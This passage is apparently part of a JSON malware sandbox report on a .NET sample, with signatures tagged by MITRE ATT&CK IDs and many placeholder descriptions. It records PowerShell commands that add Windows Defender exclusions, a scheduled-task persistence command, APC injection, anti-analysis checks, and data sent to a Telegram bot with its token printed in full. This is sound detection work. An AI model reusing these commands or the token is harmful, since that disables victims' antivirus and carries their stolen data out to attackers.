\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3052:64:WilError_01\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"JSCrIQqACnlzp.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Found WMI keywords in script (string)","description":"Observed WMI keyword:\"WinMgmts:\" [Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp]\n Observed WMI keyword:\"//./root/cimv2\" [Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-155","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.133941468293355986.3052.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.133941468332671258.6808.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 70120000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 70120000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 71700000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 6F060000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76C60000\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73120000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76C60000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73120000\n \"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76C60000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 726F0000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 726F0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75340000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75340000\n \"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75340000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397\" was detected as \".NET\" and name: \"Library\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"JSCrIQqACnlzp.exe\" was detected as \".NET\" and name: \"Library\"\n \"JSCrIQqACnlzp.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"$37","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$38","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"\n \"JSCrIQqACnlzp.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"JSCrIQqACnlzp.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397\" has an executable section named \".text\"\n \"JSCrIQqACnlzp.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$39","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00000336-00000BC0-599711700]\n Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00000336-00000C46-19588645109]\n Observed system executable string:\"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"C:\\ee57b6fa1e5a3c5ef776b79f32820327bc\" [Source: 00000000-00000336-00000C46-19588645109], Observed system executable string:\"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"%APPDATA%\\JSCr\" [Source: 00000000-00000336-00000C46-20459607175]\n Observed system executable string:\"%WINDIR%\\System32\\schtasks.exe\" [Source: 00000000-00000336-00000C46-20791899179]\n Observed system executable string:\"\"%WINDIR%\\System32\\schtasks.exe\" /Create /TN \"Updates\\JSCrIQqACnlzp\" /XML \"%TEMP%\\tmp7CEB.tmp\"\" [Source: 00000000-00000336-00000C46-20791899179]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"powershell.exe\" (UID: 00000000-00003052) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"powershell.exe\" (UID: 00000000-00003052) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.telegram.org\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"C:\\\\ee57b6fa1e5a3c5ef776b79f328 ...\" (UID: 00000000-00003052), Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"%APPDATA%\\\\JSCrIQqACnlzp.exe\"\" (UID: 00000000-00006808), Spawned process \"schtasks.exe\" with commandline \"/Create /TN \"Updates\\\\JSCrIQqACnlzp\" /XML \"%TEMP%\\\\tmp7CEB.tmp\"\" (UID: 00000000-00006468), Spawned process \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (UID: 00000000-00007972)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"C:\\\\ee57b6fa1e5a3c5ef776b79f328 ...\" (UID: 00000000-00003052), Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"%APPDATA%\\\\JSCrIQqACnlzp.exe\"\" (UID: 00000000-00006808), Spawned process \"schtasks.exe\" with commandline \"/Create /TN \"Updates\\\\JSCrIQqACnlzp\" /XML \"%TEMP%\\\\tmp7CEB.tmp\"\" (UID: 00000000-00006468), Spawned process \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (UID: 00000000-00007972)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$3c","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"JSCrIQqACnlzp.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\tmp7CEB.tmp\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_2hygxvv1.ipd.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h42dfx2k.4sa.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ehylktsr.xf0.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_jyzs2uho.j4j.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3d","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops XML files","description":"\"tmp7CEB.tmp\" has type \"XML 1.0 document ASCII text\" - Location: [%TEMP%\\tmp7CEB.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-39","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"tmp7CEB.tmp\" has type \"XML 1.0 document ASCII text\" - Location: [%TEMP%\\tmp7CEB.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" queries basic process information of the \"C:\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (UID: 336)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007972)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Found a reference to an external IP address lookup service\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$41","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$43","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$44","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.log\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.log\"\n \"powershell.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"\n \"powershell.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00007972-00000C2B-619112986\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00007972-00000C2B-619500875\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00007972-00000C2B-619500919\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00007972-00000C2B-622599916\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to interact with Microsoft Outlook","description":"Observed string: \"Microsoft.Office.Interop.Outlook\" [Source: 00000000-00000336.00000000.102479.033F0000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1559.001","relevance":1,"id":"string-196","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$45","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]","description":"file/memory contains long string with (Indicator: \"SmtpServer\"; Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-618","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"Found reference to API \"GetRequestStream\" (Indicator: \"GetRequestStream\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"mx.<_\" [Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397]\n Observed email domain:\"mx.<_\" [Source: 00000000-00007972.00000000.103107.00E52000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.0.0.0\"\n \"16.0.0.0\"\n \"2.5.29.37\"\n \"2.5.29.35\"\n Potential IP \"4.0.0.0\" found in string \"m.Configuration,4.0.0.0,,b03f5f7f11d50a3a\"\n \"0.0.0.00000\"\n Potential IP \"4.0.0.0\" found in string \"4.0.0.0, Cul\"\n \"2.5.29.10\"\n \"2.5.29.19\"\n \"2.5.29.14\"\n \"2.5.29.15\"\n \"4.0.0.0\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost,3.0.0.0,,31bf3856ad364e35,MSIL\"\n \"1.1.1.1\"\n \"14.0.0.0\"\n Potential IP \"16.10.0.0\" found in string \"KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator\t16.10.0.0\"\n \"192.168.0.2\"\n Potential IP \"10.0.0.0\" found in string \"soft.VisualBasic,10.0.0.0,,b03f5f7f11d50a3a\"\n \"2.5.29.31\"\n \"255.255.255.0\"\n \"192.168.0.1\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.17\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.32\"\n \"2.5.29.16\"\n \"2.5.4.3\"\n \"2.5.29.1\"\n Potential IP \"4.0.0.0\" found in string \"4.0.0.0, Cultur\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$47","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$48","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"file/memory contains long string with (Indicator: \"HTTP/1.1\"; Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"Contains base62 string in header \"AAEYUYZy0IhJQAm4VXi620si4okGW8FDL\" in header \"POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ed1894790bHost: api.telegram.orgContent-Length: 807Connection: Keep-Alive\"\n Contains base62 string in header \"AAEYUYZy0IhJQAm4VXi620si4okGW8FDL\" in header \"POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ee9333d20bHost: api.telegram.orgContent-Length: 15031\"","origin":"Network 